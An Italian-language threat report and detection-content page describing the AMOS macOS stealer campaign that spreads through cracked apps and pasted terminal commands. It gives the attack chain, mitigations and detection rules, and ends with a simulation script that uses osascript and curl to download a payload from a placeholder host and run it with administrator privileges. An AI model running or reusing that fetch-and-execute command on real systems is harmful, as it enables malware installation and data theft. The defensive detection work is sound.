AMOS Stealer Attacca macOS Attraverso App “Craccate”
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
Il report descrive una campagna che distribuisce Atomic macOS Stealer (AMOS) camuffandolo da applicazioni crackate o istruendo gli utenti a eseguire comandi terminal copiati e incollati. Una volta eseguito, il malware raccoglie un ampio set di dati sensibili, incluse credenziali, informazioni del browser, portafogli di criptovaluta, file delle applicazioni di messaggistica, profili VPN e documenti personali, per poi esfiltrare i contenuti rubati tramite HTTP o HTTPS. Per evitare il rilevamento statico, gli operatori ruotano i domini e gli URL durante la campagna. L’attività è indirizzata agli utenti macOS, in particolare a quelli che cercano software non ufficiali o piratati.
Indagine
La telemetria di Trend Vision One è stata utilizzata per ricostruire l’intera catena di infezione, iniziando con i download di applicazioni crackate da haxmac.cc, seguiti da reindirizzamenti attraverso domini intermediari, esecuzione di script shell dannosi, creazione di daemon di avvio per la persistenza, staging dei dati in /tmp, compressione in archivi ZIP ed esfiltrazione verso domini rotanti controllati dagli attaccanti. I ricercatori hanno catturato le linee di comando rilevanti, i percorsi dei file e gli indicatori comportamentali associati a ciascuna fase della compromissione.
Mitigazione
Le organizzazioni dovrebbero educare gli utenti sui rischi del software crackato e dei comandi terminal copiati e incollati, applicare i controlli Gatekeeper e notarizzazione, e limitare l’esecuzione di script non necessari sui sistemi macOS. I difensori dovrebbero anche monitorare attività sospette di curl and osascript e bloccare l’accesso a domini e indirizzi IP noti come dannosi. Le rilevazioni degli endpoint dovrebbero concentrarsi sulla creazione non autorizzata di daemon di avvio, il posizionamento nascosto di file e comportamenti insoliti di raccolta o esfiltrazione dei file.
Risposta
Se viene rilevata un’attività di AMOS, isolare l’endpoint interessato, terminare i processi dannosi, rimuovere file nascosti come .helper, .agent, e com.finder.helper.plist, e cancellare qualsiasi dato preparato per l’esfiltrazione. Le credenziali compromesse devono essere revocate e un’analisi forense dovrebbe essere effettuata su qualsiasi archivio recuperato. L’infrastruttura dannosa identificata deve essere bloccata e i contenuti di rilevazione devono essere aggiornati per monitorare i pattern di comando osservati.
graph TB %% Definizioni delle classi classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffcc99 classDef process fill:#ff9966 classDef data fill:#ccffcc %% Nodi – Azioni (Tecniche) step1_initial_access_file[“<b>Azione</b> – <b>T1204.002 Esecuzione Utente: File Malevolo</b><br/>La vittima scarica ed esegue un file .dmg trojanizzato mascherato da applicazione crackata.”] class step1_initial_access_file action step2_copy_paste[“<b>Azione</b> – <b>T1204.004 Esecuzione Utente: Copia e Incolla Malevolo</b><br/>La vittima copia un comando curl da una pagina web nel Terminale, che scarica ed esegue install.sh.”] class step2_copy_paste action step3_masquerading[“<b>Azione</b> – <b>T1036 Mascheramento</b><br/>Il malware viene presentato come software crackato legittimo e false pagine di installazione.”] class step3_masquerading action step4_curl_proxy[“<b>Azione</b> – <b>T1218 Esecuzione Proxy di Binari di Sistema</b><br/>Il binario legittimo curl recupera script malevoli.”] class step4_curl_proxy action step5_osascript_proxy[“<b>Azione</b> – <b>T1216 Esecuzione Proxy di Script di Sistema</b><br/>osascript esegue un payload AppleScript per eseguire codice.”] class step5_osascript_proxy action step6_shell_interpreter[“<b>Azione</b> – <b>T1059.004 Interprete di Comandi e Script: Shell Unix</b><br/>I comandi shell creano directory, raccolgono file e invocano curl per l’esfiltrazione.”] class step6_shell_interpreter action step7_sudo_abuse[“<b>Azione</b> – <b>T1548.003 Abuso del Meccanismo di Elevazione dei Privilegi: Sudo e Cache Sudo</b><br/>La password catturata viene fornita a sudo per scrivere un plist LaunchDaemon con privilegi root.”] class step7_sudo_abuse action step8_persistence[“<b>Azione</b> – <b>T1569 Servizi di Sistema: LaunchDaemon</b><br/>LaunchDaemon (com.finder.helper.plist) esegue lo script malevolo .agent durante l’avvio del sistema.”] class step8_persistence action step9_defense_evasion[“<b>Azione</b> – <b>T1127 Esecuzione Proxy di Utilità di Sviluppo Attendibili</b><br/>Le utility di sviluppo Apple (osascript) vengono utilizzate per eseguire il payload, eludendo le difese.”] class step9_defense_evasion action step10_dga[“<b>Azione</b> – <b>T1568.002 Risoluzione Dinamica: Algoritmi di Generazione dei Domini</b><br/>L’attaccante ruota numerosi domini .cfd e altri domini per la distribuzione dei payload.”] class step10_dga action step11_browser_creds[“<b>Azione</b> – <b>T1555.003 Credenziali da Archivi Password: Browser Web</b><br/>Estrazione di dati di accesso e cookie di Chrome, Firefox ed Edge.”] class step11_browser_creds action step12_keychain[“<b>Azione</b> – <b>T1555 Credenziali da Archivi Password</b><br/>Estrazione di elementi del Keychain di macOS.”] class step12_keychain action step13_wallet_keys[“<b>Azione</b> – <b>T1552.004 Chiavi Private</b><br/>Furto di file di wallet di criptovalute.”] class step13_wallet_keys action step14_session_cookies[“<b>Azione</b> – <b>T1550.004 Cookie di Sessione Web</b><br/>Raccolta di cookie di sessione per un successivo riutilizzo.”] class step14_session_cookies action step15_archive[“<b>Azione</b> – <b>T1560 Archiviazione dei Dati Raccolti</b><br/>I file raccolti vengono compressi in out.zip.”] class step15_archive action step16_compression[“<b>Azione</b> – <b>T1027.015 Compressione</b><br/>I dati vengono compressi prima dell’esfiltrazione (offuscamento).”] class step16_compression action step17_exfil_https[“<b>Azione</b> – <b>T1071.001 Protocollo di Livello Applicativo: Protocolli Web</b><br/>L’archivio compresso viene caricato tramite HTTPS POST su un server controllato dall’attaccante.”] class step17_exfil_https action step18_indirect_curl[“<b>Azione</b> – <b>T1202 Esecuzione Indiretta di Comandi</b><br/>Il comando curl recupera ed esegue silenziosamente uno script remoto.”] class step18_indirect_curl action %% Nodi – Strumenti tool_curl[“<b>Strumento</b> – <b>Nome</b>: curl<br/><b>Descrizione</b>: Utilità da riga di comando per trasferire dati tramite URL.”] class tool_curl tool tool_osascript[“<b>Strumento</b> – <b>Nome</b>: osascript<br/><b>Descrizione</b>: Esegue script AppleScript o JavaScript for Automation.”] class tool_osascript tool tool_sudo[“<b>Strumento</b> – <b>Nome</b>: sudo<br/><b>Descrizione</b>: Esegue comandi con privilegi elevati.”] class tool_sudo tool tool_launchd[“<b>Strumento</b> – <b>Nome</b>: launchd<br/><b>Descrizione</b>: Gestore di servizi macOS per il caricamento di LaunchDaemon e agenti.”] class tool_launchd tool %% Nodi – File e Dati file_dmg[“<b>File</b> – <b>Nome</b>: trojanized.dmg<br/><b>Tipo</b>: Immagine disco mascherata da applicazione crackata”] class file_dmg file file_install_sh[“<b>File</b> – <b>Nome</b>: install.sh<br/><b>Tipo</b>: Script shell scaricato tramite curl”] class file_install_sh file data_out_zip[“<b>Dati</b> – <b>Nome</b>: out.zip<br/><b>Contenuto</b>: File raccolti pronti per l’esfiltrazione”] class data_out_zip data %% Connessioni di Flusso step1_initial_access_file –>|scarica ed esegue| file_dmg file_dmg –>|attiva| step1_initial_access_file step1_initial_access_file –>|porta a| step2_copy_paste step2_copy_paste –>|usa| tool_curl tool_curl –>|scarica| file_install_sh file_install_sh –>|esegue| step2_copy_paste step2_copy_paste –>|porta a| step3_masquerading step3_masquerading –>|abilita| step4_curl_proxy step4_curl_proxy –>|usa| tool_curl tool_curl –>|recupera| step5_osascript_proxy step5_osascript_proxy –>|usa| tool_osascript tool_osascript –>|esegue| step6_shell_interpreter step6_shell_interpreter –>|invoca| step7_sudo_abuse step7_sudo_abuse –>|usa| tool_sudo tool_sudo –>|scrive| step8_persistence step8_persistence –>|gestito da| tool_launchd tool_launchd –>|esegue| step9_defense_evasion step9_defense_evasion –>|facilita| step10_dga step10_dga –>|fornisce| step11_browser_creds step10_dga –>|fornisce| step12_keychain step10_dga –>|fornisce| step13_wallet_keys step10_dga –>|fornisce| step14_session_cookies step11_browser_creds –>|raccolto in| step15_archive step12_keychain –>|raccolto in| step15_archive step13_wallet_keys –>|raccolto in| step15_archive step14_session_cookies –>|raccolto in| step15_archive step15_archive –>|produce| data_out_zip data_out_zip –>|compresso da| step16_compression step16_compression –>|inviato tramite| step17_exfil_https step17_exfil_https –>|usa| tool_curl tool_curl –>|esegue| step18_indirect_curl step18_indirect_curl –>|completa| step1_initial_access_file %% Stile class step1_initial_access_file,step2_copy_paste,step3_masquerading,step4_curl_proxy,step5_osascript_proxy,step6_shell_interpreter,step7_sudo_abuse,step8_persistence,step9_defense_evasion,step10_dga,step11_browser_creds,step12_keychain,step13_wallet_keys,step14_session_cookies,step15_archive,step16_compression,step17_exfil_https,step18_indirect_curl action class tool_curl,tool_osascript,tool_sudo,tool_launchd tool class file_dmg,file_install_sh file class data_out_zip data
Flusso di attacco
Rilevazioni
Uso sospetto di Ditto per archiviazione ed esfiltrazione di file su macOS (tramite creazione_processi)
Visualizza
Possibile staging di più file nella directory TMP per l’esfiltrazione (tramite evento_file)
Visualizza
Atomic MacOS Stealer – Attività FileGrabber
Visualizza
Possibili dati di accesso di Chrome copiati nella directory TMP (tramite creazione_processi)
Visualizza
IOC (HashSha1) per rilevare: Analisi della campagna AMOS Stealer su macOS tramite ‘App’ crackate
Visualizza
IOC (indirizzoIP di origine) per rilevare: Analisi della campagna AMOS Stealer su macOS tramite ‘App’ crackate
Visualizza
IOC (indirizzoIP di destinazione) per rilevare: Analisi della campagna AMOS Stealer su macOS tramite ‘App’ crackate
Visualizza
Rilevamento dell’esecuzione di AMOS Stealer tramite comandi terminal su macOS [creazione processo Linux]
Visualizza
Rilevamento dell’esecuzione di AMOS Stealer tramite AppleScript e Curl [creazione processo Linux]
Visualizza
Esecuzione di Simulazione
Prerequisito: La verifica preliminare della telemetria e del baseline deve essere superata.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) designata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.
-
Narrativa dell’attacco e comandi:
Un avversario ha ottenuto un’esca di phishing che consegna un breve payload AppleScript. Lo script utilizzaosascriptper eseguire un comando shell (sh -c) che invocacurlper scaricare il binario AMOS stealer da un server C2 dannoso, lo memorizza nella~/Library/Application Support/dell’utente, e poi lo esegue con permessi elevati. L’uso delosascript(un binario Apple firmato) maschera l’attività come automazione legittima, mentrecurlfornisce un download di rete furtivo. -
Script di Test di Regressione:
# amos_stealer_simulation.sh # Simula l'esecuzione di AMOS stealer su macOS usando osascript + curl # 1. Definire URL dannoso (utilizzare un segnaposto innocuo per sicurezza) MALICIOUS_URL="https://example.com/malicious_payload.sh" # 2. AppleScript che esegue un comando shell per scaricare ed eseguire il payload APPLESCRIPT=$(cat <<'EOF' do shell script "sh -c 'curl -s -o /tmp/payload.sh "https://example.com/malicious_payload.sh" && chmod +x /tmp/payload.sh && /tmp/payload.sh'" with administrator privileges EOF ) # 3. Eseguire l'AppleScript tramite osascript echo "$APPLESCRIPT" | osascript # 4. Pausa breve per consentire l'esecuzione del payload sleep 5 -
Comandi di Pulizia:
# cleanup_amos_simulation.sh # Rimuove gli artefatti creati dalla simulazione # Rimuovere il payload scaricato rm -f /tmp/payload.sh # Revoca qualsiasi processo temporaneo con privilegi elevati (se ancora in esecuzione) pkill -f "/tmp/payload.sh" || true # Opzionalmente, cancellare la cronologia di esecuzione di AppleScript # (macOS non conserva una cronologia persistente per osascript) echo "Pulizia completata."